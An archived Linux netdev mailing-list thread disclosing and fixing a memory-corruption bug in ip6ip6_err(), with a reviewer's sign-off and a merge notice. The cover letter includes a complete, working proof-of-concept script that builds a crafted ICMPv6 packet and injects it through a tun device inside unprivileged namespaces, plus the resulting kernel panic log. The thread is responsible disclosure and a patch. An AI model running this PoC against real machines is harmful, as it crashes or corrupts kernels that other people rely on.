* [PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
@ 2026-08-03 6:12 Zhiling Zou
2026-08-03 6:12 ` [PATCH net 1/1] " Zhiling Zou
2026-08-06 0:40 ` [PATCH net 0/1] " patchwork-bot+netdevbpf
0 siblings, 2 replies; 4+ messages in thread
From: Zhiling Zou @ 2026-08-03 6:12 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, yoshfuji,
yasuyuki.kozakai, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_tunnel.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the
quoted inner IPv6 packet, and then passes the clone to icmpv6_send().
The cloned skb keeps the outer packet's inet6_skb_parm in skb->cb.
If the outer packet carried a Home Address Option, IP6CB(skb2)->dsthao
remains non-zero after skb_pull(). icmp6_send() later calls
mip6_addr_swap(), which uses that stale dsthao offset against the
quoted inner packet.
The attached PoC makes the quoted inner packet start with an
attacker-controlled fake destination-options header at that stale
offset. ipv6_find_tlv() then returns the final byte of the quoted
packet as a fake HAO match, and mip6_addr_swap() performs a 16-byte
address swap past skb->tail into skb_shared_info.
On our test kernel this corrupts skb_shared_info and triggers a warning
in skb_release_data(), which panics the guest because panic_on_warn is
enabled.
Reproducer:
chmod +x ./poc.sh
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
if [[ "${POC_INNER:-0}" != "1" ]]; then
exec unshare -Urn env POC_INNER=1 bash "$0"
fi
TUN_IF="tuninj"
TNL_IF="tuntnl"
LOCAL="2001:db8:31::1"
CAREOF="2001:db8:31::2"
HOME="2001:db8:33::9"
INNER_SRC="7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST="2001:db8:32::200"
FAKE_LEN=168
cleanup() {
ip link del "$TNL_IF" 2>/dev/null || true
ip link del "$TUN_IF" 2>/dev/null || true
}
trap cleanup EXIT
ip tuntap add mode tun "$TUN_IF"
ip link set "$TUN_IF" up
ip -6 addr add "$LOCAL"/64 dev "$TUN_IF"
ip link add "$TNL_IF" type ip6tnl \
local "$LOCAL" \
remote "$CAREOF" \
mode ip6ip6 \
dev "$TUN_IF"
ip link set "$TNL_IF" up
ip xfrm state add \
src "$HOME" \
dst "$LOCAL" \
proto hao \
mode ro \
coa "$CAREOF" \
dir in
ip xfrm policy add \
dir in \
src "$HOME"/128 \
dst "$LOCAL"/128 \
tmpl src "$HOME" dst "$LOCAL" proto hao mode ro
python3 - <<'PY'
import fcntl
import ipaddress
import os
import struct
TUNSETIFF = 0x400454CA
IFF_TUN = 0x0001
IFF_NO_PI = 0x1000
LOCAL = "2001:db8:31::1"
CAREOF = "2001:db8:31::2"
HOME = "2001:db8:33::9"
INNER_SRC = "7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST = "2001:db8:32::200"
FAKE_LEN = 168
TUN_IF = b"tuninj"
def ipv6_header(src, dst, nexthdr, payload_len, hop_limit=64):
return struct.pack(
"!IHBB16s16s",
6 << 28,
payload_len,
nexthdr,
hop_limit,
ipaddress.IPv6Address(src).packed,
ipaddress.IPv6Address(dst).packed,
)
def checksum(buf):
if len(buf) & 1:
buf += b"\x00"
total = 0
for i in range(0, len(buf), 2):
total += (buf[i] << 8) | buf[i + 1]
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFF
fake = bytearray(FAKE_LEN)
fake[0] = 59
fake[1] = (FAKE_LEN // 8) - 1
fake[-1] = 201
inner = ipv6_header(INNER_SRC, INNER_DST, 59, len(fake)) + fake
quoted = ipv6_header(LOCAL, CAREOF, 41, len(inner)) + inner
destopt = bytes([58, 2, 201, 16]) + ipaddress.IPv6Address(HOME).packed + (b"\x00" * 4)
icmp = bytearray(struct.pack("!BBHI", 1, 0, 0, 0) + quoted)
pseudo = (
ipaddress.IPv6Address(HOME).packed
+ ipaddress.IPv6Address(LOCAL).packed
+ struct.pack("!I3xB", len(icmp), 58)
)
icmp[2:4] = struct.pack("!H", checksum(pseudo + icmp))
packet = ipv6_header(CAREOF, LOCAL, 60, len(destopt) + len(icmp)) + destopt + icmp
fd = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack("16sH", TUN_IF, IFF_TUN | IFF_NO_PI)
fcntl.ioctl(fd, TUNSETIFF, ifr)
os.write(fd, packet)
print("sent", len(packet))
os.close(fd)
PY
------END poc.sh--------
----BEGIN crash log----
[ 253.382150][T10576] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 253.383005][T10576] CPU: 1 UID: 1028 PID: 10576 Comm: python3 Not tainted 6.12.95 #2
[ 253.383510][T10576] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 253.384404][T10576] Call Trace:
[ 253.384667][T10576] <TASK>
[ 253.384921][T10576] panic+0x533/0x610
[ 253.385260][T10576] ? __pfx_panic+0x10/0x10
[ 253.385637][T10576] ? skb_release_data+0x404/0x690
[ 253.386034][T10576] check_panic_on_warn+0x61/0x80
[ 253.386471][T10576] __warn+0xdf/0x2e0
[ 253.386767][T10576] ? skb_release_data+0x404/0x690
[ 253.387201][T10576] report_bug+0x308/0x3d0
[ 253.387558][T10576] handle_bug+0x111/0x150
[ 253.388031][T10576] exc_invalid_op+0x17/0x50
[ 253.388428][T10576] asm_exc_invalid_op+0x1a/0x20
[ 253.388773][T10576] RIP: 0010:skb_release_data+0x404/0x690
[ 253.389169][T10576] Code: 28 30 0f 89 77 ff ff ff 48 89 7c 24 18 e8 24 e0 fe ff 48 8b 7c 24 18 84 c0 0f 85 6f ff ff ff 40 f6 c7 01 0f 84 60 ff ff ff 90 <0f> 0b 90 31 ff e9 55 ff ff ff 48 8d 7d 08 48 b8 00 00 00 00 00 fc
[ 253.390526][T10576] RSP: 0018:ffffc900141bf6b8 EFLAGS: 00010202
[ 253.390911][T10576] RAX: 0000000000000000 RBX: ffff888064c5be00 RCX: 0000000000000001
[ 253.391419][T10576] RDX: 0000000000000002 RSI: 1ffff11021c6903e RDI: 6b6b6b6b6b6b6b6b
[ 253.391923][T10576] RBP: ffff88810e3481c0 R08: 0000000000000000 R09: ffffed1021c6903c
[ 253.392423][T10576] R10: ffff88810e3481e3 R11: 0000000000000003 R12: ffff88810e3481f0
[ 253.393012][T10576] R13: ffff888064c5be7e R14: 0000000000000000 R15: dffffc0000000000
[ 253.393628][T10576] ? skb_release_data+0xc4/0x690
[ 253.394013][T10576] sk_skb_reason_drop+0xb0/0x100
[ 253.394333][T10576] icmpv6_rcv+0xa4f/0x1830
[ 253.394674][T10576] ip6_protocol_deliver_rcu+0xcb7/0x1450
[ 253.395115][T10576] ? trace_lock_acquire+0x145/0x1c0
[ 253.395626][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.396064][T10576] ? __pfx_ipv6_rcv+0x10/0x10
[ 253.396452][T10576] ip6_input_finish+0x11b/0x240
[ 253.396759][T10576] ? ip6_input+0x78/0xb0
[ 253.397109][T10576] __netif_receive_skb_one_core+0x11a/0x1b0
[ 253.397564][T10576] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 253.398041][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.398412][T10576] ? lock_acquire+0x2f/0xb0
[ 253.398707][T10576] ? netif_receive_skb+0xcc/0x5a0
[ 253.399044][T10576] netif_receive_skb+0xfb/0x5a0
[ 253.399360][T10576] ? __pfx_netif_receive_skb+0x10/0x10
[ 253.399725][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.400136][T10576] ? __pfx___lock_acquire+0x10/0x10
[ 253.400469][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.400861][T10576] tun_rx_batched+0x3ed/0x7f0
[ 253.401178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.401536][T10576] ? __pfx_tun_rx_batched+0x10/0x10
[ 253.401879][T10576] ? tun_get_user+0xab0/0x32a0
[ 253.402197][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.402554][T10576] ? lock_acquire+0x2f/0xb0
[ 253.402845][T10576] ? tun_get_user+0xab0/0x32a0
[ 253.403173][T10576] tun_get_user+0x201c/0x32a0
[ 253.403498][T10576] ? __pfx___lock_acquire+0x10/0x10
[ 253.403843][T10576] ? __pfx_tun_get_user+0x10/0x10
[ 253.404178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.404539][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.404898][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.405279][T10576] ? lb_tx_method_get+0x40/0xf0
[ 253.405621][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.406005][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.406378][T10576] tun_chr_write_iter+0xba/0x1b0
[ 253.406711][T10576] vfs_write+0x604/0xf30
[ 253.406998][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.407465][T10576] ? __tun_chr_ioctl+0xc04/0x3ac0
[ 253.407795][T10576] ? __pfx_vfs_write+0x10/0x10
[ 253.408127][T10576] ? __pfx___tun_chr_ioctl+0x10/0x10
[ 253.408517][T10576] ksys_write+0xfb/0x1d0
[ 253.408791][T10576] ? __pfx_ksys_write+0x10/0x10
[ 253.409114][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.409490][T10576] do_syscall_64+0xc7/0x270
[ 253.409836][T10576] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 253.410334][T10576] RIP: 0033:0x7f3925833687
[ 253.410623][T10576] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 253.411839][T10576] RSP: 002b:00007fff69998b20 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 253.412402][T10576] RAX: ffffffffffffffda RBX: 00007f392579f780 RCX: 00007f3925833687
[ 253.412908][T10576] RDX: 0000000000000140 RSI: 00007f392512cd40 RDI: 0000000000000003
[ 253.413427][T10576] RBP: 00007f392579f700 R08: 0000000000000000 R09: 0000000000000000
[ 253.413926][T10576] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f392512cd40
[ 253.414697][T10576] R13: 0000000000000003 R14: 0000000000a83590 R15: 00007f3925adb088
[ 253.415232][T10576] </TASK>
[ 253.415637][T10576] Kernel Offset: disabled
[ 253.415930][T10576] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
net/ipv6/ip6_tunnel.c | 3 +++
1 file changed, 3 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH net 1/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
2026-08-03 6:12 [PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err() Zhiling Zou
@ 2026-08-03 6:12 ` Zhiling Zou
2026-08-05 16:57 ` Ido Schimmel
2026-08-06 0:40 ` [PATCH net 0/1] " patchwork-bot+netdevbpf
1 sibling, 1 reply; 4+ messages in thread
From: Zhiling Zou @ 2026-08-03 6:12 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, yoshfuji,
yasuyuki.kozakai, vega, zhilinz
ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the
quoted inner IPv6 packet, and then passes the clone to icmpv6_send().
The clone still carries the outer packet's inet6_skb_parm in skb->cb.
If the outer packet had a Home Address Option, IP6CB(skb2)->dsthao
remains non-zero after skb_pull(). icmpv6_send() later calls
mip6_addr_swap(), which uses that stale dsthao offset against the quoted
inner packet. A malformed inner destination-options header can then make
the HAO lookup and address swap run past the end of the quoted packet
and corrupt skb_shared_info.
Clear skb2->cb[] before pulling the quoted inner IPv6 packet so the
reply path does not reuse metadata left by the outer IPv6 stack.
Fixes: e490d1d85cf5 ("[IPV6] IP6TUNNEL: Split out generic routine in ip6ip6_err().")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv6/ip6_tunnel.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index bf8e40af60b08..ebf83f090376c 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -684,6 +684,9 @@ ip6ip6_err(struct sk_buff *skb, struct inet6_skb_parm *opt,
if (!skb2)
return 0;
+ /* Remove debris left by outer IPv6 stack. */
+ memset(IP6CB(skb2), 0, sizeof(*IP6CB(skb2)));
+
skb_dst_drop(skb2);
skb_pull(skb2, offset);
skb_reset_network_header(skb2);
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread* Re: [PATCH net 1/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
2026-08-03 6:12 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-08-05 16:57 ` Ido Schimmel
0 siblings, 0 replies; 4+ messages in thread
From: Ido Schimmel @ 2026-08-05 16:57 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, dsahern, davem, edumazet, kuba, pabeni, horms, yoshfuji,
yasuyuki.kozakai, vega
On Mon, Aug 03, 2026 at 02:12:33PM +0800, Zhiling Zou wrote:
> ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the
> quoted inner IPv6 packet, and then passes the clone to icmpv6_send().
> The clone still carries the outer packet's inet6_skb_parm in skb->cb.
>
> If the outer packet had a Home Address Option, IP6CB(skb2)->dsthao
> remains non-zero after skb_pull(). icmpv6_send() later calls
> mip6_addr_swap(), which uses that stale dsthao offset against the quoted
> inner packet. A malformed inner destination-options header can then make
> the HAO lookup and address swap run past the end of the quoted packet
> and corrupt skb_shared_info.
>
> Clear skb2->cb[] before pulling the quoted inner IPv6 packet so the
> reply path does not reuse metadata left by the outer IPv6 stack.
>
> Fixes: e490d1d85cf5 ("[IPV6] IP6TUNNEL: Split out generic routine in ip6ip6_err().")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Regarding:
https://netdev-ai.bots.linux.dev/sashiko/#/patchset/fe1a5e765fbca88d69391887f0ed26a19e3e4d39.1785736562.git.zhilinz%40nebusec.ai
1. "Could this description be tightened up, given it is going to
stable?"
Nitpick.
2. "Is this the right commit to blame?"
Nitpick. We can blame 793832361fe7 ("[IPV6] MIP6: Revert address to send
ICMPv6 error."), but it doesn't matter in practice.
3. "Does clearing the whole inet6_skb_parm here also throw away IP6CB->iif,
which was valid and is still consumed by the reply path?"
Yes and it's fine. It needs to encode the iif of the packet that
icmpv6_send() is going to quote and it's not IP6CB->iif. It's
rt->dst.dev->ifindex, but passing 0 is legitimate.
4. "This isn't a bug introduced by this patch, but should the consumer be
hardened as well, rather than only this call site?"
Separate issue.
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
2026-08-03 6:12 [PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err() Zhiling Zou
2026-08-03 6:12 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-08-06 0:40 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 4+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-08-06 0:40 UTC (permalink / raw)
To: zhilin zou
Cc: netdev, dsahern, idosch, davem, edumazet, kuba, pabeni, horms,
yoshfuji, yasuyuki.kozakai, vega
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Mon, 3 Aug 2026 14:12:32 +0800 you wrote:
> Hi Linux kernel maintainers,
>
> We found and validated a issue in net/ipv6/ip6_tunnel.c. The bug is
> reachable by a non-root user via user and net namespace.
> We've tested it, and it should not affect any other functionality.
>
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
>
> [...]
Here is the summary with links:
- [net,1/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
https://git.kernel.org/netdev/net/c/f803c086399d
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-08-06 0:40 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-03 6:12 [PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err() Zhiling Zou
2026-08-03 6:12 ` [PATCH net 1/1] " Zhiling Zou
2026-08-05 16:57 ` Ido Schimmel
2026-08-06 0:40 ` [PATCH net 0/1] " patchwork-bot+netdevbpf
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox